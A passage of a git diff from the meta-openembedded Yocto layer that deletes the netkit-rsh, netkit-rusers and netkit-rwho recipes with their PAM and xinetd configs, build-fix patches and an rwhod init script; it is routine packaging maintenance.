-+#endif /* USE_PAM */
-
- extern int _check_rhosts_file;
-
-@@ -256,6 +258,7 @@ static void stderr_parent(int sock, int
- }
-
-
-+#ifdef USE_PAM
- static int err_conv(
- int num_msg, const struct pam_message **msg,
- struct pam_response **resp, void *appdata_ptr
-@@ -266,6 +269,7 @@ static int err_conv(
- (void) appdata_ptr;
- return PAM_CONV_ERR;
- }
-+#endif
-
- static struct passwd *doauth(const char *remuser,
- const char *hostname,
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.pam b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.pam
deleted file mode 100644
index 94e5dda50b..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.pam
+++ /dev/null
@@ -1,10 +0,0 @@
-#%PAM-1.0
-# For root login to succeed here with pam_securetty, "rexec" must be
-# listed in /etc/securetty.
-auth required pam_nologin.so
-auth required pam_env.so
-auth include common-auth
-account include common-account
-session optional pam_keyinit.so force revoke
-session include common-session
-session required pam_loginuid.so
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.xinetd.netkit b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.xinetd.netkit
deleted file mode 100644
index 7354360ae7..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.xinetd.netkit
+++ /dev/null
@@ -1,20 +0,0 @@
-# default: off
-# description:
-# Rexecd is the server for the rexec program. The server provides remote
-# execution facilities with authentication based on user names and
-# passwords.
-#
-service exec
-{
- socket_type = stream
- protocol = tcp
- flags = NAMEINARGS
- wait = no
- user = root
- group = root
- log_on_success += USERID
- log_on_failure += USERID
- server = /usr/sbin/tcpd
- server_args = /usr/sbin/in.rexecd
- disable = yes
-}
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.pam b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.pam
deleted file mode 100644
index b30f139cb7..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.pam
+++ /dev/null
@@ -1,12 +0,0 @@
-#%PAM-1.0
-# For root login to succeed here with pam_securetty, "rlogin" must be
-# listed in /etc/securetty.
-auth required pam_nologin.so
-auth required pam_securetty.so
-auth required pam_env.so
-auth include common-auth
-account include common-account
-password include common-password
-session optional pam_keyinit.so force revoke
-session include common-session
-session required pam_loginuid.so
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.xinetd.netkit b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.xinetd.netkit
deleted file mode 100644
index 70493e603b..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.xinetd.netkit
+++ /dev/null
@@ -1,23 +0,0 @@
-# default: off
-# description:
-# Rlogind is a server for the rlogin program. The server provides remote
-# execution with authentication based on privileged port numbers from trusted
-# host
-#
-service login
-{
- socket_type = stream
- protocol = tcp
- flags = NAMEINARGS
- wait = no
- user = root
- group = root
- log_on_success += USERID
- log_on_failure += USERID
- server = /usr/sbin/tcpd
- server_args = /usr/sbin/in.rlogind -a
- disable = yes
-}
-
-
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh-redone_link_order_file.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh-redone_link_order_file.patch
deleted file mode 100644
index ab0b9b64bc..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh-redone_link_order_file.patch
+++ /dev/null
@@ -1,77 +0,0 @@
-This fixes a build issue caused by linking order.
-
-Upstream-Status: Inappropriate
-Most distos have there own verison of this fix. This was derived by
-* Fix link order to list libraries after the objects that require them
-(LP: #771080).
-
--- Colin Watson <cjwatson@ubuntu.com> Tue, 13 Sep 2011 10:07:08 +0100
-
-
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
-Index: netkit-rsh-0.17/rsh/Makefile
-===================================================================
---- netkit-rsh-0.17.orig/rsh/Makefile
-+++ netkit-rsh-0.17/rsh/Makefile
-@@ -6,7 +6,7 @@ include ../MRULES
- OBJS = rsh.o
-
- rsh: $(OBJS)
-- $(CC) $(LDFLAGS) $^ $(LIBS) -o $@
-+ $(CC) $^ -o $@ $(LDFLAGS) $(LIBS)
-
- install: rsh
- install -o root -m$(SUIDMODE) rsh $(INSTALLROOT)$(BINDIR)
-Index: netkit-rsh-0.17/rshd/Makefile
-===================================================================
---- netkit-rsh-0.17.orig/rshd/Makefile
-+++ netkit-rsh-0.17/rshd/Makefile
-@@ -11,7 +11,7 @@ LIBS += -ldl -lpam
- endif
-
- rshd: $(OBJS)
-- $(CC) $(LDFLAGS) $^ $(LIBS) -o $@
-+ $(CC) $^ -o $@ $(LDFLAGS) $(LIBS)
-
- install: rshd
- install -m$(DAEMONMODE) rshd $(INSTALLROOT)$(SBINDIR)/in.rshd
-Index: netkit-rsh-0.17/rlogin/Makefile
-===================================================================
---- netkit-rsh-0.17.orig/rlogin/Makefile
-+++ netkit-rsh-0.17/rlogin/Makefile
-@@ -7,7 +7,7 @@ PROG=rlogin
- OBJS=rlogin.o
-
- $(PROG): $(OBJS)
-- $(CC) $(LDFLAGS) $^ $(LIBS) -o $@
-+ $(CC) $^ -o $@ $(LDFLAGS) $(LIBS)
-
- install: $(PROG)
- install -o root -m$(SUIDMODE) $(PROG) $(INSTALLROOT)$(BINDIR)
-Index: netkit-rsh-0.17/rlogind/Makefile
-===================================================================
---- netkit-rsh-0.17.orig/rlogind/Makefile
-+++ netkit-rsh-0.17/rlogind/Makefile
-@@ -13,7 +13,7 @@ LIBS += -ldl -lpam -lpam_misc
- endif
-
- rlogind: $(OBJS)
-- $(CC) $(LDFLAGS) $^ $(LIBS) -o $@
-+ $(CC) $^ -o $@ $(LDFLAGS) $(LIBS)
-
- rlogind.o: pathnames.h logwtmp.h rlogind.h ../version.h
- logwtmp.o: logwtmp.h
-Index: netkit-rsh-0.17/rexecd/Makefile
-===================================================================
---- netkit-rsh-0.17.orig/rexecd/Makefile
-+++ netkit-rsh-0.17/rexecd/Makefile
-@@ -24,7 +24,7 @@ endif
- CFLAGS += -DRESTRICT_FTP=1
-
- rexecd: rexecd.o
-- $(CC) $(LDFLAGS) $^ $(LIBS) -o $@
-+ $(CC) $^ -o $@ $(LDFLAGS) $(LIBS)
-
- install: rexecd
- install -m$(DAEMONMODE) rexecd $(INSTALLROOT)$(SBINDIR)/in.rexecd
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.pam b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.pam
deleted file mode 100644
index 072327a76e..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.pam
+++ /dev/null
@@ -1,10 +0,0 @@
-#%PAM-1.0
-# For root login to succeed here with pam_securetty, "rsh" must be
-# listed in /etc/securetty.
-auth required pam_nologin.so
-auth required pam_securetty.so
-auth required pam_env.so
-account include common-account
-session optional pam_keyinit.so force revoke
-session include common-session
-session required pam_loginuid.so
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.xinetd.netkit b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.xinetd.netkit
deleted file mode 100644
index a842eb974f..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.xinetd.netkit
+++ /dev/null
@@ -1,21 +0,0 @@
-# default: off
-# description:
-# The rshd server is a server for the rcmd(3) routine and,
-# consequently, for the rsh(1) program. The server provides
-# remote execution facilities with authentication based on
-# privileged port numbers from trusted hosts.
-#
-service shell
-{
- socket_type = stream
- protocol = tcp
- flags = NAMEINARGS
- wait = no
- user = root
- group = root
- log_on_success += USERID
- log_on_failure += USERID
- server = /usr/sbin/tcpd
- server_args = /usr/sbin/in.rshd -aL
- disable = yes
-}
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh_0.17.bb
deleted file mode 100644
index 5ea553e871..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh_0.17.bb
+++ /dev/null
@@ -1,105 +0,0 @@
-DESCRIPTION = "netkit-rsh includes the rsh daemon and client."
-SECTION = "net"
-HOMEPAGE="ftp://ftp.uk.linux.org/pub/linux/Networking/netkit"
-LICENSE = "BSD-4-Clause"
-DEPENDS = "xinetd libgcrypt virtual/crypt"
-
-LIC_FILES_CHKSUM = "file://rsh/rsh.c;endline=32;md5=487b3c637bdc181d32b2a8543d41b606"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/netkit-rsh/netkit-rsh_${PV}.orig.tar.gz;name=archive \
- ${DEBIAN_MIRROR}/main/n/netkit-rsh/netkit-rsh_${PV}-15.diff.gz;name=patch15 \
- file://rsh-redone_link_order_file.patch \
- file://no_pam_build_fix.patch \
- file://rexec.xinetd.netkit \
- file://rlogin.xinetd.netkit \
- file://rsh.xinetd.netkit \
- file://netkit-rsh-0.17-rexec-ipv6.patch \
- file://fix-host-variable.patch \
- file://fixup_wait3_api_change.patch \
- file://CVE-2019-7282-and-CVE-2019-7283.patch \
-"
-
-SRC_URI[archive.md5sum] = "65f5f28e2fe22d9ad8b17bb9a10df096"
-SRC_URI[archive.sha256sum] = "edcac7fa18015f0bc04e573f3f54ae3b638d71335df1ad7dae692779914ad669"
-SRC_URI[patch15.md5sum] = "655efc0d541b03ca5de0ae506c805ea3"
-SRC_URI[patch15.sha256sum] = "2bc071c438e8b0ed42a0bd2db2d8b681b27a1e9b1798694d9874733293bc2aa9"
-
-# Other support files
-PAM_SRC_URI = "file://rexec.pam \
- file://rlogin.pam \
- file://rsh.pam \
-"
-SRC_URI += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
-
-inherit pkgconfig update-alternatives
-
-CFLAGS += " -D_GNU_SOURCE -Wno-deprecated-declarations"
-LDFLAGS += " -L${STAGING_LIBDIR} -lutil -lcrypt"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG:append = " ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG[pam] = " , --without-pam, libpam, libpam"
-
-COMPATIBLE_HOST:libc-musl = 'null'
-
-do_configure () {
- ./configure --prefix=${prefix} --exec-prefix=${exec_prefix}
- echo "INSTALLROOT=${D}" > MCONFIG
-
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
- echo "USE_PAM=1" >> MCONFIG
- fi
-
- # didn't want to patch these next changes
- sed -i 's/netkit-//' ${S}/rsh/pathnames.h
- sed -i 's/netkit-//' ${S}/rcp/pathnames.h
-}
-
-do_install () {
- install -d ${D}${bindir}
- install -d ${D}${sbindir}
- install -d ${D}${mandir}/man1
- install -d ${D}${mandir}/man8
- install -d ${D}${sysconfdir}/xinetd.d
-
- oe_runmake 'INSTALLROOT=${D}' 'BINMODE=0755' \
- 'DAEMONMODE=0755' 'MANMODE=0644' \
- 'SUIDMODE=4755' \
- 'BINDIR=${bindir}' 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' install
-
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
- install -d ${D}${sysconfdir}/pam.d
- install -m 0644 debian/hosts.equiv ${D}/${sysconfdir}
- install -m 0644 ${WORKDIR}/rexec.pam ${D}/${sysconfdir}/pam.d/rexec
- install -m 0644 ${WORKDIR}/rlogin.pam ${D}/${sysconfdir}/pam.d/rlogin
- install -m 0644 ${WORKDIR}/rsh.pam ${D}/${sysconfdir}/pam.d/rsh
- fi
- cp ${WORKDIR}/rexec.xinetd.netkit ${D}/${sysconfdir}/xinetd.d/rexec
- cp ${WORKDIR}/rlogin.xinetd.netkit ${D}/${sysconfdir}/xinetd.d/rlogin
- cp ${WORKDIR}/rsh.xinetd.netkit ${D}/${sysconfdir}/xinetd.d/rsh
-}
-
-PACKAGES = "${PN}-client ${PN}-server ${PN}-doc ${BPN}-dbg"
-
-FILES:${PN}-client = "${bindir}/*"
-FILES:${PN}-server = "${sbindir}/* ${sysconfdir}"
-FILES:${PN}-doc = "${mandir}"
-FILES:${PN}-dbg = "${prefix}/src/debug \
- ${sbindir}/.debug ${bindir}/.debug"
-
-ALTERNATIVE_PRIORITY = "80"
-ALTERNATIVE:${PN}-client = "rcp rexec rlogin rsh"
-ALTERNATIVE:${PN}-server = "rshd rexecd rlogind"
-ALTERNATIVE_LINK_NAME[server] = "${bindir}/rshd"
-ALTERNATIVE_TARGET[rshd] = "${sbindir}/in.rshd"
-ALTERNATIVE_LINK_NAME[rexecd] = "${bindir}/rexecd"
-ALTERNATIVE_TARGET[rexecd] = "${sbindir}/in.rexecd"
-ALTERNATIVE_LINK_NAME[rlogind] = "${bindir}/rlogind"
-ALTERNATIVE_TARGET[rlogind] = "${sbindir}/in.rlogind"
-
-RCONFLICTS:${PN}-server += "inetutils-rshd"
-RPROVIDES:${PN}-server = "rshd"
-
-RDEPENDS:${PN}-server = "xinetd"
-RDEPENDS:${PN}-server += "tcp-wrappers"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/0001-Link-with-libtirpc.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/0001-Link-with-libtirpc.patch
deleted file mode 100644
index 3655a57162..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/0001-Link-with-libtirpc.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-From 5746b68ba9dda87586b3ac88fe84031cbc0015f7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 11 May 2018 12:20:03 -0700
-Subject: [PATCH] Link with libtirpc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure | 2 +-
- rpc.rusersd/rusers_proc.c | 7 +------
- rpc.rusersd/rusersd.c | 6 +-----
- rup/rup.c | 2 +-
- 4 files changed, 4 insertions(+), 13 deletions(-)
-
---- a/configure
-+++ b/configure
-@@ -92,7 +92,6 @@ else
- echo -n 'Checking if C compiler works... '
- if (
- $CC __conftest.c -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo 'yes'
- else
-@@ -146,8 +145,7 @@ else
-
- fi
-
--LDFLAGS=
--LIBS=
-+LIBS="$LIBS -ltirpc"
-
- rm -f __conftest*
-
-@@ -172,13 +170,11 @@ int main() {
- EOF
- if (
- $CC $CFLAGS __conftest.c -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo 'yes'
- else
- if (
- $CC $CFLAGS -D__USE_BSD_SIGNAL __conftest.c -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo '-D__USE_BSD_SIGNAL'
- CFLAGS="$CFLAGS -D__USE_BSD_SIGNAL"
-@@ -231,7 +227,6 @@ if (
- else
- if (
- $CC $CFLAGS -D_GNU_SOURCE __conftest.c -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo '-D_GNU_SOURCE'
- CFLAGS="$CFLAGS -D_GNU_SOURCE"
-@@ -262,20 +257,17 @@ int main() {
- EOF
- if (
- $CC $CFLAGS __conftest.c $LIBBSD -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo 'ok'
- else
- if (
- $CC $CFLAGS __conftest.c -lsnprintf $LIBBSD -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo '-lsnprintf'
- LIBS="$LIBS -lsnprintf"
- else
- if (
- $CC $CFLAGS __conftest.c -ldb $LIBBSD -o __conftest || exit 1
-- ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo '-ldb'
- LIBS="$LIBS -ldb"
---- a/rpc.rusersd/rusers_proc.c
-+++ b/rpc.rusersd/rusers_proc.c
-@@ -57,12 +57,7 @@ char rp_rcsid[] =
- #define RUT_TIME ut_time
- #endif
-
--/* Glibc strikes again */
--#ifdef __GLIBC__
-- #include <rpcsvc/rusers.h>
--#else
-- #include "rusers.h"
--#endif
-+#include "rusers.h"
-
- void rusers_service(struct svc_req *rqstp, SVCXPRT *transp);
-
---- a/rpc.rusersd/rusersd.c
-+++ b/rpc.rusersd/rusersd.c
-@@ -38,11 +38,7 @@ char rusersd_rcsid[] =
- #include <rpc/pmap_clnt.h>
- #include <unistd.h>
- #include <grp.h>
--#ifdef __GLIBC__
-- #include <rpcsvc/rusers.h>
--#else
-- #include "rusers.h"
--#endif
-+#include "rusers.h"
-
- #include "../version.h"
-
---- a/rup/rup.c
-+++ b/rup/rup.c
-@@ -48,7 +48,7 @@ char rcsid[] = "$Id: rup.c,v 1.8 2000/07
-
- #undef FSHIFT /* Use protocol's shift and scale values */
- #undef FSCALE
--#include <rpcsvc/rstat.h>
-+#include "rstat.h"
-
- #include "../version.h"
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/rpc.rusersd-Makefile-fix-parallel-build-issue.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/rpc.rusersd-Makefile-fix-parallel-build-issue.patch
deleted file mode 100644
index d85178d714..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/rpc.rusersd-Makefile-fix-parallel-build-issue.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From c23cc112a480f90950de5cf1de09b1a7e732bf21 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Mon, 15 Dec 2014 18:31:13 -0800
-Subject: [PATCH] rpc.rusersd/Makefile: fix parallel build issue
-
-Fixed:
-rusers.x: No such file or directory
-Makefile:44: recipe for target 'rusers_xdr.c' failed
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- rpc.rusersd/Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rpc.rusersd/Makefile b/rpc.rusersd/Makefile
-index 792f528..65a424a 100644
---- a/rpc.rusersd/Makefile
-+++ b/rpc.rusersd/Makefile
-@@ -40,5 +40,5 @@ rusers.x:
- rusers.h: $(RUSERSX) rusers.x
- $(RPCGEN) -h -o rusers.h rusers.x
-
--rusers_xdr.c: $(RUSERSX)
-+rusers_xdr.c: $(RUSERSX) rusers.x
- $(RPCGEN) -c -C -o rusers_xdr.c rusers.x
---
-1.7.9.5
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers_0.17.bb
deleted file mode 100644
index c45cbcd925..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers_0.17.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-DESCRIPTION = "netkit-rusers includes rusers - Displays who is logged in to machines on local network \
- rusersd - Logged in users server"
-HOMEPAGE = "ftp://ftp.uk.linux.org/pub/linux/Networking/netkit"
-SECTION = "net"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://rusers/rusers.c;beginline=2;endline=3;md5=f4fc634a4ce8c569911196b72b10770e"
-DEPENDS = " tcp-wrappers libtirpc rpcbind rpcsvc-proto rpcsvc-proto-native"
-
-SRC_URI = "http://http.debian.net/debian/pool/main/n/${BPN}/${BPN}_${PV}.orig.tar.gz;name=archive \
- http://http.debian.net/debian/pool/main/n/${BPN}/${BPN}_${PV}-8.diff.gz;name=patch8 \
- file://rpc.rusersd-Makefile-fix-parallel-build-issue.patch \
- file://0001-Link-with-libtirpc.patch \
-"
-
-SRC_URI[archive.md5sum] = "dc99a80b9fde2ab427c874f88f1c1602"
-SRC_URI[archive.sha256sum] = "f00138651865ad2dcfec5dedda0cda403cb80c4ab68efcc3bbccafe198c24b6d"
-SRC_URI[patch8.md5sum] = "1ff498113e0f920d92088092e5570bdc"
-SRC_URI[patch8.sha256sum] = "14882dbdda4e37baa84d55b54b46c7e063a20fc9e04d1be1a2807643cd0f3067"
-
-CFLAGS += "-I${STAGING_INCDIR}/tirpc"
-
-EXTRA_OEMAKE = "RUSERSX=${STAGING_INCDIR}/rpcsvc/rusers.x"
-
-do_configure () {
- ./configure --prefix=${prefix} --installroot=${D} --with-c-compiler="${CC}"
-}
-
-do_install () {
- install -d ${D}${bindir}
- install -d ${D}${sbindir}
- install -d ${D}${mandir}/man1
- install -d ${D}${mandir}/man8
- install -d ${D}${sysconfdir}/xinetd.d
-
- sed -i 's/install -s/install/' rusers/Makefile
- sed -i 's/install -s/install/' rup/Makefile
- sed -i 's/install -s/install/' rpc.rusersd/Makefile
-
- oe_runmake 'INSTALLROOT=${D}' 'BINMODE=0755' \
- 'DAEMONMODE=0755' 'MANMODE=0644' \
- 'BINDIR=${bindir}' 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' install
-
- # create the xinetd config file
- cat >rusersd.conf <<EOF
- service rusersd
- {
- disable = yes
- type = RPC
- rpc_version = 1-2
- socket_type = dgram
- protocol = udp
- wait = yes
- user = root
- server = ${sbindir}/rpc.rusersd
- }
-EOF
- install rusersd.conf ${D}/${sysconfdir}/xinetd.d/rusersd
-}
-
-PACKAGES = "${PN}-client ${PN}-server ${PN}-doc ${BPN}-dbg"
-FILES:${PN}-client = "${bindir}/*"
-FILES:${PN}-server = "${sbindir}/* ${sysconfdir}"
-FILES:${PN}-doc = "${mandir}"
-FILES:${PN}-dbg = "${prefix}/src/debug \
- ${bindir}/.debug ${sbindir}/.debug"
-
-RDEPENDS:${PN}-server += "tcp-wrappers xinetd rpcbind"
-
-# http://errors.yoctoproject.org/Errors/Details/186962/
-COMPATIBLE_HOST:libc-musl = 'null'
-SKIP_RECIPE[netkit-rusers] ?= "Fails to build rup.c:51:10: fatal error: rstat.h: No such file or directory"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0001-Add-missing-include-path-to-I-options.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0001-Add-missing-include-path-to-I-options.patch
deleted file mode 100644
index b1325b3173..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0001-Add-missing-include-path-to-I-options.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 55ab6f1389261edff5f4c942bc3b0d8e695856d7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Aug 2017 18:11:33 -0700
-Subject: [PATCH 1/2] Add missing include path to -I options
-
-Fixes errors like
-| rwho.c:52:10: fatal error: 'protocols/rwhod.h' file not found
-| #include <protocols/rwhod.h>
-| ^~~~~~~~~~~~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- rwho/Makefile | 1 +
- rwhod/Makefile | 2 ++
- 2 files changed, 3 insertions(+)
-
-diff --git a/rwho/Makefile b/rwho/Makefile
-index 6f86388..67b28d4 100644
---- a/rwho/Makefile
-+++ b/rwho/Makefile
-@@ -6,6 +6,7 @@ include ../MRULES
- rwho: rwho.o
- $(CC) $(LDFLAGS) $^ $(LIBS) -o $@
-
-+CFLAGS += -I../include
- rwho.o: ../version.h
-
- install: rwho
-diff --git a/rwhod/Makefile b/rwhod/Makefile
-index 772b641..9034218 100644
---- a/rwhod/Makefile
-+++ b/rwhod/Makefile
-@@ -7,6 +7,8 @@ ifneq ($(USE_GLIBC),1)
- CFLAGS += -D_GNU_SOURCE
- endif
-
-+CFLAGS += -I../include
-+
- OBJS = rwhod.o
-
- rwhod: $(OBJS)
---
-2.14.1
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0002-Fix-build-issues-found-with-musl.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0002-Fix-build-issues-found-with-musl.patch
deleted file mode 100644
index 349a1351fe..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0002-Fix-build-issues-found-with-musl.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From 2108213242638fa355f662382f55495d91301858 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Aug 2017 18:13:17 -0700
-Subject: [PATCH 2/2] Fix build issues found with musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- ruptime/ruptime.c | 1 +
- rwho/rwho.c | 1 +
- rwhod/rwhod.c | 5 +++--
- 3 files changed, 5 insertions(+), 2 deletions(-)
-
---- a/ruptime/ruptime.c
-+++ b/ruptime/ruptime.c
-@@ -53,6 +53,7 @@ char ruptime_rcsid[] =
- #include <string.h>
- #include <errno.h>
- #include <time.h>
-+#include <fcntl.h>
-
- struct hs {
- char hs_hostname[MAXHOSTNAMELEN];
---- a/rwho/rwho.c
-+++ b/rwho/rwho.c
-@@ -49,6 +49,7 @@ char rcsid[] = "$Id: rwho.c,v 1.7 1999/0
- #include <assert.h>
- #include <stdio.h>
- #include <time.h>
-+#include <fcntl.h>
- #include <protocols/rwhod.h>
-
- #include "../version.h"
---- a/rwhod/rwhod.c
-+++ b/rwhod/rwhod.c
-@@ -76,6 +76,7 @@ char rcsid[] =
- #include <grp.h>
- #include <time.h>
- #include <stdint.h>
-+#include <fcntl.h>
-
- #include "../version.h"
-
-@@ -102,7 +103,7 @@ struct nlist nl[] = {
- static void broadcaster(void);
- static int configure(int s);
- static int verify(const char *name);
--#if __GLIBC__ < 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ < 2)
-+#if defined(__GLIBC__) && (__GLIBC__ < 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ < 2))
- static int getloadavg(double ptr[3], int n);
- #endif
-
-@@ -549,7 +550,7 @@ sendpacket(struct whod *wd)
- }
- }
-
--#if __GLIBC__ < 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ < 2)
-+#if defined(__GLIBC__) && (__GLIBC__ < 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ < 2))
- /*
- * Taken from:
- *
---- a/include/protocols/rwhod.h
-+++ b/include/protocols/rwhod.h
-@@ -37,6 +37,7 @@
- #ifndef _RWHOD_H_
- #define _RWHOD_H_
-
-+#include <stdint.h>
- /*
- * rwho protocol packet format.
- */
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod b/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod
deleted file mode 100755
index f6419032e8..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod
+++ /dev/null
@@ -1,71 +0,0 @@
-#!/bin/sh
-
-### BEGIN INIT INFO
-# Provides: rwhod
-# Required-Start: $network $remote_fs $syslog
-# Required-Stop: $network $remote_fs $syslog
-# Default-Start: 2 3 4 5
-# Default-Stop: 0 1 6
-# Short-Description: Server for rwho and ruptime services
-### END INIT INFO
-
-PATH=/sbin:/bin:/usr/bin:/usr/sbin
-
-DAEMON=/usr/sbin/rwhod
-PIDFILE=/var/run/rwhod.pid
-CONF_FILE="/etc/default/rwhod"
-DESC="Who daemon "
-# default options. Change them in /etc/default/rwhod
-RWHOD_OPTIONS="-b"
-
-# rwhod init.d script for ntpdc from ntp.isc.org
-test -f $DAEMON || exit 0
-
-# Source function library.
-. /etc/init.d/functions
-
-[ -r $CONF_FILE ] && . $CONF_FILE
-
-startdaemon(){
- echo -n "Starting $DESC" " rwhod "
- start-stop-daemon --start --quiet --oknodo --pidfile $PIDFILE --exec $DAEMON -- $RWHOD_OPTIONS
- echo "done"
-}
-stopdaemon(){
- echo -n "Stopping $DESC" " rwhod "
- start-stop-daemon --stop --quiet --oknodo --exec $DAEMON
- echo "done"
-}
-
-case "$1" in
- start)
- startdaemon
- ;;
- stop)
- stopdaemon
- ;;
- force-reload)
- stopdaemon
- startdaemon
- ;;
- restart)
- stopdaemon
- sleep 1
- startdaemon
- ;;
- reload)
- stopdaemon
- sleep 1
- startdaemon
- ;;
- status)
- status /usr/sbin/rwhod;
- exit $?
- ;;
- *)
- echo "Usage: rwhod { start | stop | status | restart | reload }" >&2
- exit 1
- ;;
-esac
-
-exit 0
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod.default b/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod.default
deleted file mode 100644
index 62d3a942d0..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod.default
+++ /dev/null
@@ -1,2 +0,0 @@
-#Options for the rwhod daemon.
-RWHOD_OPTIONS="-b"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho_0.17.bb
deleted file mode 100644
index 51168f958e..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho_0.17.bb
+++ /dev/null
